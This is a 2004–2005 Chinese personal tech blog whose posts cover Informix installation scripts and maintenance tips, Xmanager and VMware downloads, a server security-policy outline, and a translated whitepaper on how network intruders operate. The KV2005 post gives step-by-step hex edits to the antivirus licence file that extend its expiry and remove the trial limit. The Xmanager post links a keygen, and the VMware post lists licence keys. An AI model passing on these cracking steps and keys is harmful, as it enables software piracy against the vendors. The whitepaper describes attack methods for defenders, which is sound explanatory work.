    touch rootdbs logdbs phydbs blobdbs tmpdbs datadbs sbspace
    然后
    chmod 660 *
    保证所有的dbs文件都是informix用户informix组;权限都是660;

    5、配置$INFORMIXDIR/etc/onconfig.std文件
    以下列出需要注意的几点内容:

    --rootdbs路径、空间
    ROOTNAME rootdbs # Root dbspace name
    ROOTPATH /opt/informix/dbs/rootdbs # Path for device containing root dbspace
    ROOTOFFSET 0 # Offset of root dbspace into device (Kbytes)
    ROOTSIZE 100000 # Size of root dbspace (Kbytes)

    --物理日志的dbs空间,先用rootdbs的20M;
    PHYSDBS rootdbs # Location (dbspace) of physical log
    PHYSFILE 20000 # Physical log file size (Kbytes)

    --逻辑日志用默认的
    # Logical Log Configuration

    LOGFILES 6 # Number of logical log files
    LOGSIZE 2000 # Logical log size (Kbytes)

    --把磁带的东西都改成/dev/null
    TAPEDEV /dev/null # Tape device path
    TAPEBLK 32 # Tape block size (Kbytes)
    TAPESIZE 10240 # Maximum amount of data to put on tape (Kbytes)

    # Log Archive Tape Device

    LTAPEDEV /dev/null # Log tape device path
    LTAPEBLK 32 # Log tape block size (Kbytes)
    LTAPESIZE 10240 # Max amount of data to put on log tape (Kbytes)

    --配置数据库服务器参数,根据自己机器配置的实际情况分配locks和buffers;
    SERVERNUM 0 # Unique id corresponding to a OnLine instance
    DBSERVERNAME info_dbs # Name of default database server
    DBSERVERALIASES info_dbs_tcp # List of alternate dbservernames
    NETTYPE ipcshm,1,8,CPU # Configure poll thread(s) for nettype
    NETTYPE soctcp,1,8,NET # Configure poll thread(s) for nettype

    LOCKS 5000 # Maximum number of locks
    BUFFERS 500 # Maximum number of shared buffers
    NUMAIOVPS 2 # Number of IO vps
    PHYSBUFF 32 # Physical log buffer size (Kbytes)
    LOGBUFF 32 # Logical log buffer size (Kbytes)
    CLEANERS 1 # Number of buffer cleaner processes
    SHMBASE 0x10000000 # Shared memory base address
    SHMVIRTSIZE 8000 # initial virtual shared memory segment size
    SHMADD 8192 # Size of new shared memory segments (Kbytes)

    另外就是onconfig.std文件中所有/usr/informix都替换成/opt/informix/
    在vi界面下使用命令
    :%s#/usr/informix#/opt/informix#g

    6、初始
    化数据库了
    oninit -ivy
    成功后用onstat -i 就可以看到了
    Informix Dynamic Server Version 9.40.UC1E1 -- On-Line -- Up 00:31:47 -- 18872
    Kbytes
    onstat>

    7、完善数据库空间

    下面提供一个我经常使用的shell

    echo "Add blobdbs, tmpdbs0, phydbs, logdbs..."
    echo "====================================================="

    onspaces -c -b blobdbs -g 32 -p /opt/informix/dbs/blobdbs -o 0 -s 48000
    onspaces -c -d tmpdbs -t -p /opt/informix/dbs/tmpdbs -o 0 -s 100000

    onspaces -c -d phydbs -p /opt/informix/dbs/phydbs -o 0 -s 50200
    onspaces -c -d logdbs -p /opt/informix/dbs/logdbs -o 0 -s 200000

    echo "\nShut Down Server to Quiescent Mode..."
    echo "====================================================="
    onmode -s -y
    sleep 5

    echo "Adding Logical Log\n"
    onparams -a -d logdbs -s 20000
    onparams -a -d logdbs -s 20000
    onparams -a -d logdbs -s 20000
    onparams -a -d logdbs -s 20000
    onparams -a -d logdbs -s 20000
    onparams -a -d logdbs -s 20000
    onparams -a -d logdbs -s 20000
    onparams -a -d logdbs -s 20000
    onparams -a -d logdbs -s 20000
    onparams -a -d logdbs -s 10000

    echo "\nArchiving Database Server Please Wait 20 seconds.\n"
    echo "====================================================="
    ontape -s
    sleep 5

    onmode -l
    onmode -l
    onmode -l
    onmode -l
    onmode -l
    onmode -l
    onmode -c
    sleep 10

    echo "\nDrop the old Logical Log Files... \n"
    echo "====================================================="
    onparams -d -l 1 -y
    onparams -d -l 2 -y
    onparams -d -l 3 -y
    onparams -d -l 4 -y
    onparams -d -l 5 -y
    onparams -d -l 6 -y

    echo "\nChange Physical Log Files, please wait about 1 minutes...\n"
    echo "====================================================="
    onparams -p -s 50000 -d phydbs -y
    sleep 100

    echo "\nNow add more dbspaces/chunks...\n"
    echo "====================================================="


    onspaces -c -d datadbs -p /opt/informix/dbs/datadbs -o 0 -s 500000

    onspaces -c -S sbspace -g 1 -p /opt/informix/dbs/sbspace \ -o 0 -s 2000000 -Df

    "ACCESSTIME=OFF,LOGGING=ON"

    echo "\nTake a level 0 archive.\n"
    echo "====================================================="

    ontape -s -L 0

    echo "\nReboot IDS...\n\n"
    echo "====================================================="

    onmode -ky
    oninit

    sleep 10

    echo "\n====================================================="
    echo "Well done! \n"
    echo "====================================================="

    最后修改onconfig.std文件
    DBSPACETEMP tmpdbs # Default temp dbspaces
    SBSPACENAME sbspace # Default smartblob space name - this is where blobs
    onmode -ky
    oninit

    Posted by vitter at 2005-01-25 16:16:51 | 评论 (0)

    January 22, 2005

    Informix系统维护技巧谈 (表的修复,空间回收,迁移,查询的优化)

      Informix是一种大型的数据库管理系统,具有先进的技术、性能与可靠性,在全球范围的各种应用中使用十分广泛,包括政府、金融保险、邮政电信、制造及零售等重要行业或领域。本文根据笔者在SCO Unix/Xenix上使用 Informix-4GL与Informix-SQL的经验,简要介绍Informix系统维护中的几个较为特殊的问题及其处理方法。

      表文件的修复

      Informix的数据库是指由若干张表所构成的集合,其中每一张表对应着两个文件,即数据文件(后缀为.dat)与索引文件(后缀为.idx)。当系统出现异常、死机、掉电或非正常关闭时,有时会使一些使用中的表文件未能正常关闭而出现毁损,当系统再次对这些表进行相关操作时,就会报告“不能检索下一条记录”、“不能删除记录”等错误信息。
      通常,数据文件是很少发生问题的。要判别数据文件是否正常,只需执行select * from 〈table—name〉语句或类似的语句即可, 但不能使用where、order by等子句,以免利用到索引文件, 目的就是纯粹从数据文件中依次读取数据。如果数据读取顺利且记录个数正确,表明该文件完好无损;反之,则有问题,通常只能用其数据备份来恢复。
      如果数据文件正确无误,那么就该检查相应的索引文件。Informix提供有一个实用程序bcheck,专门用来检查与修复索引文件,即依次比较数据文件与索引文件,倘若不一致,就询问是否删除和重建有问题的索引。bcheck有许多选项可供选用,其中-n和-y用于对所有的提问都回答“no”或“yes”,让系统自动进行一系列的操作。其语法如下:

      bcheck [选项] 〈表文件名〉

      要检查表的索引文件,应先运行bcheck -n命令。如果一切正常, 说明索引没有问题。一旦发现有错误报告(如有多少个错误数据记录指针、丢失了多少个数据记录指针或索引结点指针等),则再执行bcheck -y 命令即可将其修复。
      Informix-SQL中的语句check table 〈表名〉与repair table 〈表名〉在运行时分别以选项-n与-y调用bcheck命令,功能一样,不同的只是使用表名而不是表文件名。
      如果索引文件没有相应的读写权限, 或者没有正确指明其路径, 在bcheck时会出现“无法打开索引文件”的信息。如果索引文件被删除或格式被破坏了,也有同样的信息。此时可从数据备份中将对应的索引文件拷贝回来,也可暂时创建一个字段与索引均与原表完全一致的新表并将其索引文件拷贝给原表,再运行bcheck -y命令修复。

      表空间的回收

      Informix对数据表的管理方式较为特殊,当数据量增加时,表所占用的磁盘空间随之增加;但数据记录被删除时,原先所占用的空间暂不释放,依然由该表所控制,作为日后增加记录时使用。为提高系统的性能及有关各表的查询速度,应及时 回收这种“空闲”的磁盘空间。
      使用bcheck -s命令可回收索引文件的空间,其中-s 选项的作用是重新估算索引文件的大小。要同时回收数据文件与 索引文件的空间,可让DBMS(数据库管理系统)去做表结构的修改工作,但修改前后的表结构及有关权限要保证一样。可利用 Informix-SQL达此目的,最为保险的做法是先给相应的表增加一个字段,再将该字段删除。也可利用alter table 命令
    “欺骗”DBMS去修改表的结构,如alter table aa modify(bb smallint),其中aa表的字段bb的类型本来就是smallint。

      表的迁移

      任何一个Informix数据库都有九个系统表,用于记录数据库的有关信息,其中系统表systables(用于描述数据库中的各表) 中的字段dirpath指明各表文件的绝对路径或相对路径。
      Informix数据库的搜索路径一般由环境变量DBPATH来设定,系统根据DBPATH的正确设定即可找到相应的数据库及其各表。 迁移Informix数据库表时(比如从Unix/Xenix的根文件系统迁移到分离的文件系统/u),只要重新设定DBPATH,通常系统即可正常运行。如果报告某些表找不到了(实际上这些表文件还在,且有关权限也对),问题就在于systables 表中的dirpath 字段值采用了绝对路径, 此时要用update命令修正其值,最好改用相对路径,即直接改为表文件名。

      系统查询的优化

      Informix在执行查询(特别是多表查询)指令前,会利用其所提供的优化器(cost-based optimizer,基于成本的优化器),依据当时系统所记载的有关各表的相关信息,按照一定的判断法则进行分析并选择出一条最有效率的途径来执行。系统必须掌握各表的正确数据,才不至于做出错误的选择。但出于系统效率上的考虑,不可能随时修改记录各表最新状况的相关文件,否则会增加许多额外的输入/输出负担。因此, 应定期执行这种信息的更新操作。
      在Informix数据库的系统表systables中有一字段nrows,专门用来记录各表的记录个数。优化器在运行法则判断时, 各表的nrows 值具有很高的参考价值。nrows的更新可通过如下命令来完成,即:

      update statistics [for table 〈table—name〉]


      其中,方括号[]中的子句是可选的,用于指定表名,以对该表进行更新;否则,将对数据库中的各表进行全部更新。

    这个update statistics很管用哦

    Posted by vitter at 2005-01-22 21:46:29 | 评论 (0)

    January 07, 2005

    KV2005再次升级破解方法

    KV2005肯定能升级的破解方法,非局域网升级
    到江民下载KV2005下载版,安装完后运行让你输入帐号密码,这时候点击免费注册,在江民页注册一个通行证,点击-服务-直接获取授权文件,然后在-帮助-授权信息你可以看到能用一天,马上升级,升级完后点-工具-备份授权文件(不升级没这个菜单),然后修改授权文件,用UltraEdit打开:

    查找9AA138(00A0-00A5处),将后面的四个字符改为970B ,
    即将9AA138####改为9AA138970B,即可改为2007年的授权。
    注:870A为2010年,970A为2011年,....................
    月日不必修改,若想修改可修改上面的99后面的6个字符
    如:9AA138####99###### 改为 9AA138970A99828A0F 授权日期就会变为2011-11-29

    去掉试用:

    如果是修改试用授权,再将后面的36改为4D即可去试用。
    如:试用授权为:9AA138DF0B9986BF09360632
    合法授权为:9AA138870A9986BF094D0632

    修改以后保存,然后导入就可以了,现在很多人都在用这个方法来升级自己的kv2005,我自己也屡试不爽。

    Posted by vitter at 2005-01-07 20:20:26 | 评论 (0)

    December 30, 2004

    X Manage(linux图形访问终端)

    Xmanage不错的东东,下载地址:http://www.netsarang.com/download/download.html。也可以在www.X manager.com网站上查找该软件包。
    带注册机下载:http://www.vfocus.net/blog/archives/tools/xmanage.rar
    安装很简单,配置完成后有一些注意的问题:

    出错处理

      常见错误1:“XDMCP Connection failed…”,这种情况,主要是由于主机不允许远程连接,对于RedHat,需要将gdm.conf中[xdmcp] Section中的Enable项置1(缺省值为0);如果是SUN solaris,则应以root登录,enable CDE登录:
      # /usr/dt/bin/dtconfig -e
      常见错误2:Can't open display x.x.x.x:0.0
      这是由于没有正确地告诉Client要在哪台主机上显示。解决方法(以运行xterm为例):
      在执行命令行中键入:
      /usr/bin/X11/xterm -ls -display your.X manager.ip:0.0
      另外,X manager支持通过NAT访问Internet上的任何一台主机。不过,要正确地设置Firewall,并且在Firewall上要正确地对TCP、UDP的端口进行map。
      ◆提供一个高性能的32-bit X11R6 PC X server;
      ◆可以运行在Windows 95/98/NT或Windows 2000环境下;
      ◆连接方式支持:XDMCP、RSH、REXEC、RLOGIN及TELNET;
      ◆支持单窗口显示、多窗口显示,支持MS Windows显示方式,也支持X Window显示方式;
      ◆在多窗口模式下,可以使用远程窗口管理器(mwm、olwm);
      ◆在本地与远程管理器之间自动切换;
      ◆在背景为X Window 时,支持多窗口模式;
      ◆在单窗口显示模式下,虚拟窗口支持32768×32768显示模式;
      ◆支持键盘重新map,支持256 色、hi-color(16bit color)和真彩显示(24、32bit color);
      ◆支持字体服务器;
      ◆支持仿真3键鼠标;
      ◆可在 X 及MS Windows 间相互剪切与粘贴。
    其他(要运行远程Linux主机上的X程序(如Netscape或Mozilla、koffice、游戏等)需要本机运行X Server,而X Manager提供了这样一个X Server以及Xssh终端,并且对中文的支持较好。点击此处下载X Manager(需要序列号),简体中文字体和繁体中文字体,或到Netsarang主页下载最新版本。下载后运行安装程序xmgr139e.exe,安装完成会在开始菜单中建立程序组,点击其中的Xstart,在弹出的窗口中输入远程主机名或IP地址、登录用户名、密码,点击Run按钮即会弹出远程主机的xterm窗口。显示远程Turbo Linux 7.0机器上的中文文件,请使用rxvt,并且要在.bashrc中添加一行:
    export LC_ALL=gb2312
    在xterm或rxvt窗口中运行命令
    xclock&
    会出现时钟界面。其它如mozilla、kghostview等都可一试。)
    另入其他图形终端 X win.

    Posted by vitter at 2004-12-30 17:41:17 | 评论 (1)

    最新VMware Workstation 下载地址及序列号

    VMware Workstation v5.0 Beta Build 10737 已经发布,这里给出下载地址

    linux

    http://download3.vmware.com/software/wkst/VMware-workstation-e.x.p-10737.tar.gz

    windows

    http://download3.vmware.com/software/wkst/VMware-workstation-e.x.p-10737.exe

    For Linux: 68ETQ-F0XJF-MDQ80-4A0C0

    For Windows: 6A8L6-F2TQJ-LE7DP-4T1V0

    VMware Workstation for Windows 5.0 Beta Build 12/15/04 | Build 11608

    For Windows: 68EVK-F0ZT8-LEQ5N-42KCT

    Download EXE file Binary (.exe) http://download3.vmware.com/software/wkst/VMware-workstation-e.x.p-11608.exe

    (md5sum:98f481d92c6c756d85faf4135c2de7e9)

    Download Mount File Binary (.exe) http://download3.vmware.com/software/wkst/VMware-mount-e.x.p-11608.exe

    (md5sum:bced0b6c36391e7fe0374d58402939d9)

    Download V2V Assistant Binary (.exe) http://download3.vmware.com/software/wkst/VMware-v2v-e.x.p-11606.exe

    (md5sum:87fb0f850c51713c74953b49f9442c66)

    For Linux: 608JQ-F2YJ2-M4HD2-435V5

    Download as Compressed Tar Archive Compressed Tar Archive http://download3.vmware.com/software/wkst/VMware-workstation-e.x.p-11608.tar.gz

    (md5sum:de72219c9356c93a09efe055003b6b9a)

    Download as RPM RPM Version http://download3.vmware.com/software/wkst/VMware-workstation-e.x.p-11608.i386.rpm

    (md5sum:08781da927c263532a80c9c7b6ac8452)

    Posted by vitter at 2004-12-30 00:23:32 | 评论 (7)

    December 24, 2004

    俺写给xx人看的垃圾!!

    xx安全文档
    服务器管理必须严格执行《xx网络安全管理制度V1.0》,其中某些不适用的规则,应酌情参照实际情况做出相应的修改。
    服务器部署运行在xx。电源和网络环境由xx保障。日常运行、管理及其安全由xx系统部负责。其安全分为物理安全、信息安全保密、身份鉴别、访问控制、应用安全、系统级安全等。
    物理安全
    保护计算机信息系统设备、设施、媒体和信息免遭自然灾害、环境事故以及人为物理操作失误或错误及各种以物理手段进行的违法犯罪行为导致的破坏、丢失等,主要包括环境安全、设备安全、媒体安全等方面。
    环境安全:系统所在环境的安全。
    设备安全:主要包括设备的防盗、防毁等,机房采取安全防范措施,保证非授权人员无法进入。
    媒体安全:媒体数据的安全及媒体本身的安全。
    信息安全保密
    保障信息的保密性、完整性。系统采用身份鉴别、访问控制、信息加密、审计跟踪等措施保证信息安全保密。
    安全保密管理
    系统的安全保密管理包括系统各级管理组织机构、管理制度和管理技术三个方面。通过组建完整的安全保密管理组织机构,设置安全保密管理人员,制定严格的安全保密管理制度,利用先进的安全保密管理技术对整个系统进行管理。严格执行《xx网络安全管理制度V1.0》。
    身份鉴别
    系统用口令进行身份鉴别,口令长度不少于八位,口令更换周期不得长于3个月。
    采用组成复杂、不易猜测的口令,一般是大小写英文字母、数字、特殊安符中两者以上的组合。
    口令必须加密存储、并且保证口令存放载体的物理安全。
    口令必须加密传输。
    访问控制
    根据信息密级和信息重要性划分系统安全域,在安全域与安全域保密设备(如防火墙、网关等)进行隔离和访问控制。
    保证访问控制规则设置的安全。
    系统远程管理采用SSH2,并做访问控制,系统su也做访问控制,非ssh授权用户不能登陆,非su授权用户不能su,非管理用户不能有shell。
    信息传输加密
    通过ssh信息加密传输。
    审计跟踪
    系统有详细的日志,记录每个用户的每次活动以及系统出错等信息。保证审计日志的保密性和完整性。系统安全管理员定期审查系统日志,审查周期不长于一个月。
    系统安全的检测
    定时使用检测工具对系统进行安全性能检测,检测工具版本及时更新。采用多种扫描检测工具(包括Nessus、ISS、Fluxay、X-Scan等国内外商业、非商业软件)。
    安全管理员定期对系统进行检查,及时关注厂商安全公告并更新补丁。
    应用安全
    应用安全分为应用软件安全和开发应用程序安全。安全管理员对服务器上的应用软件apache进行了安全配置(比如去除版本banner等)并定期进行安全检测和升级,从而保障了应用软件安全。
    SSH2设置访问控制,信息加密传输。
    开发人员在进行应用程序开发时应严格遵循软件开发规范,保障开发程序的安全。
    安全管理员定期对系统应用进行检查,发现漏洞及时弥补。
    系统级安全
    系统级安全分以下几方面
    一、 安装系统及其补丁安装:
    系统自定义最小+内核开发安装,升级到最新稳定版本kernel。及时关注厂商安全公告并安装相应的系统补丁。补丁地址:
    http://www.redhat.com/corp/support/errata/
    二、 帐号、口令安全策略:
    去除不需要的帐号、修改默认帐号的shell变量,设置密码长度限制和复杂性限制,超时自动注销登录,限制用户对主机资源的使用,保证bash hell保存少量的(或不保存)命令。
    三、 网络与服务加固:
    停止所有不必要服务,停止inetd、xinetd,ssh和apache单独安装,采用脚本启动,禁止/etc/rc.d/rc[0-9].d下不需要运行的脚本。
    四、 文件系统加固:
    严格限制root初始文件创建权限,增强关键文件的属性,减少安全隐患,增强部分文件的执行权限控制,为不同的挂载点指派不同的属性。
    五、 日志审核增强:
    对ssh、su等登录日志进行记录。
    六、 其他安全性增强:
    启动Grub时需要密码,隐藏系统提示信息,禁止Control-Alt-Delete键盘关闭命令。

    Posted by vitter at 2004-12-24 10:30:38 | 评论 (0)

    December 04, 2004

    系统入侵者攻击企业或敏感数据网络方法白皮书


    网络安全方案公司·FIST工作室(fist@ns2.co.uk)
    Little Gray Man 译

    -----------------------------------------------------------
    目录
    -----------------------------------------------------------

    1 简介
    1.1 弱点在哪里?
    1.2 "系统入侵者"的原形

    2 组网
    2.1 众多公司的组网技术
    2.2 了解此类网络系统的弱项

    3 攻击
    3 攻击
    3.1 攻击者的"隐身术"
    3.2 网络查探和信息收集
    3.3 确定被信任网络结点
    3.4 确定有弱点部件
    3.5 利用网络部件的"弱项"
    3.6 控制有漏洞的网络结点

    4 滥用网络资源和访问权
    4.1 下载敏感信息
    4.2 攻击其他被信任的网络
    4.3 安装后门和木马软件
    4.4 使网络瘫痪

    5 全面网络安全的改善
    5.1 参考阅读
    5.2 推荐工具和程序

    -----------------------------------------------------------
    1.0 简介
    -----------------------------------------------------------
    本白皮书是为帮助系统管理和操作人员深入了解典型系统入侵者采用的
    方法和手段而编写。
    本文不应被视为增强网络安全的指南,尽管本文的确能帮助您找出您的网
    络系统的漏洞或指出可能发生的潜在事故。
    我们希望您能够喜欢本文,并通过本文学习一些当前系统入侵者的运作方
    法。

    网络安全方案公司·FIST工作室(fist@ns2.co.uk)

    -----------------------------------------------------------
    1.1 究竟漏洞在哪里
    -----------------------------------------------------------
    每天,企业和各种组织都生活在各种各样的电脑网络中间,电脑网络使我
    们能够有效地分享大量的数据资源。

    一般来说,企业网络在设计和组建时主要考虑的是它的功能和效率,很少
    会把安全性放在心上。尽管在短期从商业的角度上看,这样的做法并没有
    错,但网络一旦运行和发展,安全问题便会随之而来,使使用大网络的公
    司们要花数以百万的美圆去解决。

    大多数企业网或敏感专用网以客户机-服务器的模式运作。在这种模式下
    企业雇员使用本地工作站工作,需要时联上服务器以共享信息。在本白皮
    书种我们会集中讨论服务器端的安全性,因为系统攻击者通常会先以服务
    器为攻击目标。服务器是信息传递的"枢纽",如果攻击者能取得服务器上
    未授权的权力,那么对网络其他部分就容易多了。

    对于攻击者大范围网络查探,容易被攻击的目标包括:
     银行和金融机构
     互联网服务提供商
     医药公司
     政府和防卫机构
     政府机构的供应商
     跨国集团

    虽然大多数此类攻击的肇事者是内部人员(已经获得企业部分敏感信息访
    问权的用户),但我们主要还是集中讨论纯外部的网络攻击技术。

    对银行和金融机构的查探和攻击主要是为了行使商业诈骗。为了冒险获取
    大量的金钱,许多银行已经被如此攻击。银行们一向不承认自己是外部网
    络攻击的受害者,因为一旦这样的消息泄露他们肯定会损失大量的客户和
    信用度。

    互联网服务供应商是系统攻击者的普遍目标,因为ISP服务器很容易就可
    以从internet上访问到。而且ISP们有大型高速联往世界各地光纤的访问
    权,一旦攻击者们成功就能将大量的信息在internet上传输。规模较大的
    ISP会有用户数据库,而这些数据库中通常会包含攻击者们感兴趣的用户
    保密信息,诸如信用卡号、真实姓名、地址等。

    医药公司通常主要是商业间谍攻击的受害者。在这种攻击中攻击者们会为
    偷到的保密医药数据而得到大量金钱。那些医药公司花了数百万美元计的
    巨资研究开发出来的医药数据,往往在这样一次攻击中就被泄露或丢失。

    在过去6年中,美国的政府和国防机构遭受到internet上数以百万次的攻
    击。由于这些机构的安全经费不足,安全制度不健全,加上这些政府和军
    事机构经常被攻击者们刺探和攻击,信息安全问题成为一场费力的战争。

    虽然国防工程的承建商十分重视安全问题,但他们仍然不免成为那些为获
    取机密或敏感军事资料的攻击者们的目标,因为这些资料可以向外国的组
    织卖个好价钱。虽然为公众所知的只有为数不多几个案例,但这些活动值
    得警惕。

    跨国公司是工业间谍行为的的主要受害者。跨国公司在世界各国都有办事
    机构,所以一般都会建立大型的企业网络以供雇员之间有效共享信息。
    NSS小组曾为数家跨国公司做过侵入测试,发现在很多情况下这些企业
    网络都是可以被驾御的。

    跟医药公司一样,跨国公司日常工作都是建立在电子数据传输、元件和电
    脑有关的技术上,而且已经花了巨额资金在新技术的研究和开发上。所以
    对于这些公司的竞争者,雇佣一批“系统攻击者”去非法获取这些公司的
    秘密资料十分有诱惑力。

    竞争公司可以采用的另一种攻击的形式是使对方公司的电脑系统瘫痪一
    段时间,这样就会使对方公司损失大量的收入。通常很难确定这类攻击是
    从何发起。如果内部网络分段和配置的不好,这类公司会给公司带来巨大
    的影响和造成巨额的财务损失。

    这种“违规行为”在现在的网络社会中十分普遍,应值得我们给予高度重
    视。

    -----------------------------------------------------------
    1.2 "系统入侵者"的原形
    -----------------------------------------------------------

    研究表明,一个典型的“系统攻击者”通常是男性,年龄大约在16至25
    岁之间。这些攻击者们在开始从入侵其他系统以提高自己的破解技术,或
    非授权使用网络以满足自己需要中开始对系统攻击感兴趣。大多数攻击者
    们对攻击都非常有恒心,这可能是因为他们有大量的空闲时间。

    大部分攻击者都是机会主义者,他们会运行许多扫描程序去查找大量的远
    程主机,希望从中找出系统弱项。当找到某台机器有可以被远程攻击的弱
    项后,攻击者们会尝试得到管理者权限,安装供自己以后访问的后门,然
    后补好那些会远程访问安全的通常系统弱项,以阻止其他攻击者利用同样
    的攻击手段攻击已经被自己“征服”了的机器。

    这些机会主义者主要采用两种方法:一是internet,二是电话网络。

    要在internet上进行主机远程访问弱项扫描,攻击者通常会从一个他已经
    取得权限的,有高速internet连接(通常是光纤连接)的机器上启动一个
    扫描程序。

    要扫描使用电话网络的机器,比如终端服务器、电子公告板系统或语音信
    箱服务系统等,攻击者会使用一种自动拨号程序,这种程序会自动拨一个
    指定范围的大量电话号码,从中寻找可以被确认为以上电话网络系统的
    “载波信号”,从而确定攻击对象。

    只有很少一部分系统攻击者在发起攻击前有明确的攻击目标,这些攻击者
    的技巧熟练得多,会采用最新的攻击技巧去征服一个网络。有一类攻击者
    就是专门利用防火墙的未公开的漏洞和“功能”,通过企业自身在internet
    上的防火墙攻击防火墙内的机器。

    这些攻击者确定要攻击的网络或主机通常装载有敏感的数据,比如技术研
    究开发的记录,或攻击者们认为有价值的其他数据。

    这些攻击者通常会拥有大型网络安全公司或顾问公司使用的安全工具,利
    用他们去寻找特定目标的所有存在的各种安全缺陷。这种专攻击特定目标
    的攻击者通常也很耐心,他们会在花几个月的时间去搜集各种有关的信息
    之后,才尝试侵入某一系统。

    -----------------------------------------------------------
    2.1 众多公司的组网技术
    -----------------------------------------------------------
    一个典型的企业会使用internet作如下用途:
    作公司WEB服务的主机
    通过internet提供EMAIL和其他全球通讯服务
    给雇员internet服务

    在NSS进行网络渗透测试的公司中,一个企业的网络通常是由被防火墙
    和应用程序代理服务器分割的不同网段。

    在这样的网络中,企业的WEB服务器和电子邮件服务器通常是在企业网
    络的“外部”,信息通过网络内外的信任域通道来进行信息传输。

    当存在外部邮件服务器和内部主机之间的信任关系时,应该采用一种考虑
    周详的邮件阻隔策略。通常企业应只允许外部的邮件服务器只和特定一台
    “安全”的企业内部邮件服务器的25口通信,这样就会大大降低非授权
    访问的可能性,即便外部的EMAIL服务器已经被控制。

    在NSS进行网络渗透的公司中,有一家公司有许多“多宿主机”的机器。
    这些机器具有两个网络接口,一个连接外部网,一个连接企业内部网。从
    安全的角度看,这种在两个网段同时工作的机器可能会对网络安全造成严
    重的危害。当控制一台这样的机器时,它就很容易被用作入侵内部网络的
    “桥”。

    -----------------------------------------------------------
    2.2 了解此类网络系统的弱项
    -----------------------------------------------------------

    在internet上,典型的公司可能会装有5个外部WEB服务器,2个外部
    邮件服务器和1个防火墙或数据包过滤系统。一般来说WEB服务器不是
    攻击者们首要的攻击目标,除非防火墙在某些方面配置失误,使攻击者能
    够利用这种失误控制服务器。不过在WEB服务器上安装TCP包过滤器,
    只让被信任的机器使用telnet和ftp端口等安全措施总是一个好主意。

    攻击者们一般会首先选择把邮件服务器作为进入内网的攻击目标,因为邮
    件服务器一定有一个在外网和公司内网之间的连接以分发和交换内外邮
    件(译注:一旦控制了邮件服务器,就肯定会有进入内网的渠道)。跟
    WEB攻击一样,这种攻击策略是否有效取决与防火墙或数据包过滤系统
    的配置。

    过滤路由器是另一个攻击者们经常选择的目标,他们会使用攻击型的
    SNMP扫描器和常用的字符串“暴力攻击程序”(译注:使用穷举法试用
    户名和密码)进行攻击。如果这种攻击成功的话,路由器就会被轻易设置
    为从外网到内网的网桥,从而使从外部攻击内网成为可能。

    在上述情况下,攻击者们会仔细权衡应该尝试攻击哪些主机,找出外网的
    主机和内网的主机有怎样的信任关系。所以假如您应该在所有外网的机器
    上安装TCP包过滤器,并确认只有特定被信任的机器才能连接主机的重
    要端口(服务),通常有:
    ftp (21), ssh (22), telnet (23), smtp (25), named (53),
    pop3 (110), imap (143), rsh (514), rlogin(513), lpd (515).

    SMTP, named 和 portmapper 口应根据主机在网络中的作用而适当加以
    过滤。

    实践表明,实行包过滤会大大降低企业内网被攻击的可能性。

    在没有明确的“企业上网”政策的公司内网中,会出现“多宿主机”和配
    置不当的路由器,通常也会有内网分割不清的情况,从而使系统攻击者从
    internet上使用非授权访问攻击攻击企业内网更加容易。

    如果企业外网DNS配置不当,则很容易使企业网络“映像”的情况(译
    注:得到企业网络机主机配置情况,可为下一步攻击作准备)。当NSS
    进行渗透测试时,我们能够从这样的配置不当的DNS服务器中“映像”
    企业网络的。因此,在企业外网机器和内网机器间不应配置DNS,在外
    网与内网机器间只使用IP地址远为安全。

    在多个网络都有网络接口的机器是不安全的,利用这种不安全的机器攻击
    者们可以轻易访问企业网络,他们甚至可以不用compromise这些主机。
    滥用这些机器的finger forward服务是一件很轻易的事,如:可以利用它
    搜集用户、主机和网络的信息,从而确认企业内网中哪些机器值得继续攻
    击,甚至还可以发送对root@host, bin@host, daemon@host的finger请求
    来确认主机的操作系统,从而使系统攻击更为容易。

    有些攻击者使用一种“自动拨号”的技术(译注:即不断尝试拨选定号码
    区间的各个电话,以寻找有载波信号的的号码,一般这些电话是企业的终
    端服务器),他们一般会选择公司所在位置的电话号码区间,如大厦或网
    络运行中心。

    当攻击者们找到并取得终端服务器的访问权后,一般来说他们就取得了进
    入企业内部网络的一定程度的访问权,这样便完全绕开了分割公司内网与
    internet的各种防火墙和滤包器。所以确保终端服务器的安全至关重要,
    而且应记录到终端服务器的每一次连接。

    当要了解网络系统的弱点时,应谨记,您的网络主机间的信任关系。这种
    信任关系可能是由TCP滤包器、host.equiv文件、.rhosts或.shosts文件等
    所建立。对大型网络通常会通过利用这些信任关系来进行攻击。

    举一个例子:如果一个攻击者通过CGI的漏洞查看到你的hosts.allow文
    件,并发现你允许所有来自*.trusted.com 的ftp和telnet连接,这样,他
    就可以通过获取*.trusted.com中任何一台主机的控制,来进攻你的机器。

    所以,有必要确保所有您信任的机器与您的机器一样能抵御来自远程的攻
    击。

    另外一种值得一提的攻击方法就是,在企业机器中安装“后门”或“特洛
    伊木马”程序(比如在一些Windows 95/98的机器上),如果公司雇员能
    够通过应用程序代理或防火墙访问internet时,他们可能利用这种方便去
    访问一些“软件仓库”站点并下载一些盗版软件。

    这些“软件仓库”站点通常会提供一些屏保、软件工具等程序,某些这种
    软件就带有“后门”或“特洛伊木马”程序,比如“死牛教派”(Cult of
    the Dead Cow's)的“Back Orifice”。当安装这些屏幕保护或其他程序
    时,这些“木马”就将自己挂在系统的注册表内,并在每一次开机时启动。

    在BO木马中,木马的一些选件可以使木马控制宿主机器自动完成某些操
    作,比如自动连接IRC并进入特定频道,等等。这样是非常危险的,因
    为木马的宿主机器很容易被internet上的远程攻击者完全控制。

    对于已经获取了企业内部网的访问权的攻击者,不管是他公司内部职员或
    已非法取得主机访问权,BO木马绝对会变得更加有效。采用适当的策
    略,攻击者可以在个把星期内将企业中所有机器Windows 95/98机器上都
    装上木马,这样他将随心所欲地从远程控制每一台机器,包括文件操作、
    重启机器甚至重新格式化磁盘,这一切都可以从远程操作。

    -----------------------------------------------------------
    3.1 攻击者的"隐身术"
    -----------------------------------------------------------

    典型的系统攻击者一般会采用以下策略来隐藏自己的真实IP地址:
    - 从已经取得控制权的主机上通过 telnet或 rsh 跳跃
    - 从 windows 主机上通过 wingates 等服务进行跳跃
    - 利用配置不当的代理服务器进行跳跃

    当发现你的网络有被扫描的模式,而这些扫描来自被攻破的主机或代理
    时,建议您通过电话联系他们的系统管理员反映掌握的问题情况。不要使
    用email联系,因为攻击者们可以拦截所有发给管理员的email。

    一些经验老道的攻击者会利用电话交换技巧来入侵,他们可能会采用以下
    技巧:
    - 通过“800号”个人电话交换服务,使用被“破解”的帐号连入ISP
    来跳跃;
    - 先通过拨号找寻并连入某台主机,然后通过这台主机再联入internet
    来跳跃。

